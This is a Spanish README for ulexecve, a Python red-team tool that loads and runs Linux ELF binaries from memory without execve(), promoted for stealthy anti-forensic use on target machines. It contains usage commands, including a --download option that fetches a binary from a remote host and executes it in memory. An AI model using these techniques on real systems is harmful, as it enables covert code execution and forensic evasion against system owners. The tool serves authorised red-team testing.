
Ejecuta binarios ELF arbitrarios directamente desde la memoria en Linux sin tocar el disco, permitiendo operaciones sigilosas de red teaming y anti-forenses mediante un único script de Python.
Ejecuta binarios ELF Linux compilados de forma dinámica o estática sin nunca llamar a execve().
cat /bin/echo | ulexecve - hello
hello
Esta herramienta en Python se llama ulexecve y significa userland execve. Te ayuda a ejecutar binarios ELF arbitrarios en sistemas Linux desde el espacio de usuario sin nunca llamar a la llamada al sistema execve(). En otras palabras: puedes ejecutar binarios arbitrarios directamente desde la memoria sin tener que escribirlos en el almacenamiento. Esto es muy útil desde una perspectiva anti-forense o de red team y te permite moverte de forma más sigilosa mientras aún dejas caer binarios compilados en las máquinas objetivo. La herramienta funciona en CPython 3.x así como en CPython 2.7 (y posiblemente versiones anteriores) en las plataformas Linux soportadas (x86, x86-64 y aarch64). Se soportan tanto binarios ELF estáticos como compilados dinámicamente. Por supuesto, siempre habrá un pequeño subconjunto de binarios que pueden no funcionar o resultar en un fallo, y para estos se implementa un método de respaldo 100% fiable basado en la llamada al sistema moderna memfd_create().
Las herramientas de ejecución en espacio de usuario de Linux tienen una historia que se remonta aproximadamente dos décadas. Los primeros escritos sólidos sobre esto fueron realizados por the grugq en The Design and Implementation of Userland Exec [1] así como otro artículo en Phrack 62 [2]. Las técnicas anti-forenses para ejecutar binarios directamente desde la memoria son bastante estándar. Por ejemplo, Rapid7 mettle tiene una biblioteca llamada libreflect que incluye una utilidad noexec que también intenta ejecutar un ELF únicamente mediante reflexión. Sin embargo, esta herramienta está escrita en C y tiene el requisito implícito de que necesitas transferir el binario noexec al sistema objetivo además de poder ejecutar este binario.
En entornos de contenedores modernos esto definitivamente no siempre es posible. Sin embargo, muchos entornos de contenedores contienen una instalación de Python. Tener la capacidad de simplemente descargar un script de Python mediante curl o similar en una máquina objetivo y luego poder ejecutar este script para ejecutar sigilosamente binarios arbitrarios es muy útil desde una perspectiva anti-forense.
Esta es también la razón por la que la herramienta está implementada completamente en un solo archivo. Esto debería facilitar su descarga en sistemas objetivo y no tener que preocuparse por instalar otras dependencias antes de poder ejecutarla. La herramienta está probada con Python 2.7 aunque esta versión de Python está obsoleta. Todavía hay muchos sistemas con versiones 2.x, por lo que esto es útil.
No existían otras implementaciones decentes de un execve() en espacio de usuario en Python. Existe SELF [3] que no estaba extensamente documentado, carecía de opciones de depuración fáciles, pero lo más importante, no funcionaba en absoluto. La implementación de ulexecve fue escrita desde cero. Analiza el archivo ELF, carga y analiza el enlazador dinámico también (si es necesario), mapea todos los segmentos en memoria y finalmente construye un búfer de salto que contiene instrucciones de CPU para transferir el control desde el proceso de Python directamente al binario recién cargado.
Toda la lógica común de análisis de ELF, configuración de la pila, mapeo de los segmentos ELF y configuración de los búferes de salto está abstraída, por lo que es bastante fácil (del orden de un par de horas) portarlo a otra CPU. Portarlo a otras plataformas basadas en ELF como los BSD puede ser un poco más complicado, pero aún así debería ser bastante sencillo. Para más información sobre cómo hacerlo, simplemente revisa los comentarios en el código.
Ten en cuenta que es un objetivo de diseño explícito no tener dependencias externas y tener todo implementado en un único archivo de código fuente. Si necesitas hacer cargas útiles más pequeñas, debería ser bastante trivial eliminar el soporte para ciertos tipos de CPU o eliminar toda la información de depuración y otras opciones.
Aunque esto tiene poco sentido desde una perspectiva anti-forense, la herramienta es instalable mediante pip.
pip install ulexecve
ulexecve --help
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help
La herramienta soporta completamente ejecutables estáticos y compilados dinámicamente. Simplemente pasa el nombre del archivo del binario a ulexecve y cualquier argumento que quieras suministrar al binario. El entorno se copiará directamente desde el entorno en el que ejecutas ulexecve.
ulexecve /bin/ls -lha
Puedes hacer que lea un binario desde stdin si especificas - como nombre de archivo.
cat /bin/ls | ulexecve - -lha
Para descargar un binario en memoria y ejecutarlo inmediatamente puedes usar --download. Esto interpretará el argumento del nombre de archivo como una URI.
ulexecve --download http://host/binary
Para depurar, hay varias opciones disponibles. Si obtienes un fallo, puedes mostrar información de depuración mediante --debug, la pila construida mediante --show-stack así como el búfer de salto generado --show-jumpbuf. La opción --jump-delay es muy útil si deseas analizar y mapear un ELF correctamente y luego adjuntar un depurador para recorrer el búfer de salto y el binario de ejecución final para encontrar la causa del fallo.
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
argv
00000000: 0x0000000000000002
00000008: 0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245: 00 00 00
248: 4c 01 d9 add %r11,%rcx
24b: 48 31 d2 xor %rdx,%rdx
24e: ff e1 jmpq *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello
Siempre está la opción --fallback. No es tan sigilosa como analizar y mapear los binarios en espacio de usuario nosotros mismos. El método de respaldo usa memfd_create() y fexecve() pero debería funcionar el 100% del tiempo para ejecutar binarios estáticos o dinámicos arbitrarios. Siempre que los binarios suministrados sean los adecuados para la plataforma en la que te encuentras, obviamente.
Obviamente, siempre puedes terminar con binarios que no se ejecutarán correctamente. Sin embargo, esta implementación es bastante limpia y está bien probada (incluye pruebas unitarias para binarios estáticos y dinámicos, ejecutables compilados con PIE y ejecutables con diferentes entornos de ejecución como Rust o Go). Para la mayoría de las herramientas y binarios en las plataformas mencionadas debería funcionar. Pero los resultados pueden variar. Los binarios producidos por empaquetadores de instalación que incrustan otra información dentro de los ELF podrían no funcionar correctamente dependiendo de los trucos de autorreferencia que utilicen. Sin embargo, para los binarios de PyInstaller se agregó un respaldo específico en ulexecve.
Los binarios creados con PyInstaller no funcionarán directamente. Estos binarios requieren un archivo de paquete acompañante o, en la mayoría de los casos, incrustan dentro del ELF los datos adicionales necesarios para desempaquetar y ejecutarse correctamente después de iniciar el intérprete de Python incrustado. Esto significa que no se pueden hacer funcionar correctamente. Hay algunas formas de solucionarlo. Una forma simple, que puede funcionar en un subconjunto de casos del mundo real, asume que existe un sistema de archivos temporal escribible. Luego reemplazamos la cadena /proc/self/exe en el binario con /tmp/xxxx. Después cargamos el binario en memoria mediante memfd_create() y luego apuntamos el enlace simbólico a /tmp/xxxx a /proc/<pid>/fd/<fd> hacia el archivo en memoria. Para probar esta opción usa --pyi-fallback. Si necesitas especificar un directorio temporal específico diferente usa --tmpdir. Ten en cuenta que la ruta resultante incluyendo el tmpdir tiene que tener exactamente la misma cantidad de bytes que la cadena /proc/self/exe (14 bytes), por lo que rutas más largas no funcionarán.
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h | ./ulexecve.py --pyi-fallback -
hello
Al portar a una plataforma diferente, asegúrate de que la pequeña cantidad de pruebas unitarias funcionen todas. Simplemente ejecuta el ./test.py incluido en la plataforma objetivo y corrige todo hasta que todas estas pruebas tengan éxito nuevamente.
Envía una solicitud de extracción a través de github, publica un problema en el rastreador de problemas o simplemente envía un correo electrónico a [email protected].
"The Design and Implementation of Userland Exec", por the grugq.
"FIST! FIST! FIST! Its all in the wrist: Remote Exec", por grugq, Phrack 62-0x08, 2004-07-13.
Implementación de SELF en Python, por Maciej Kotowicz (mak).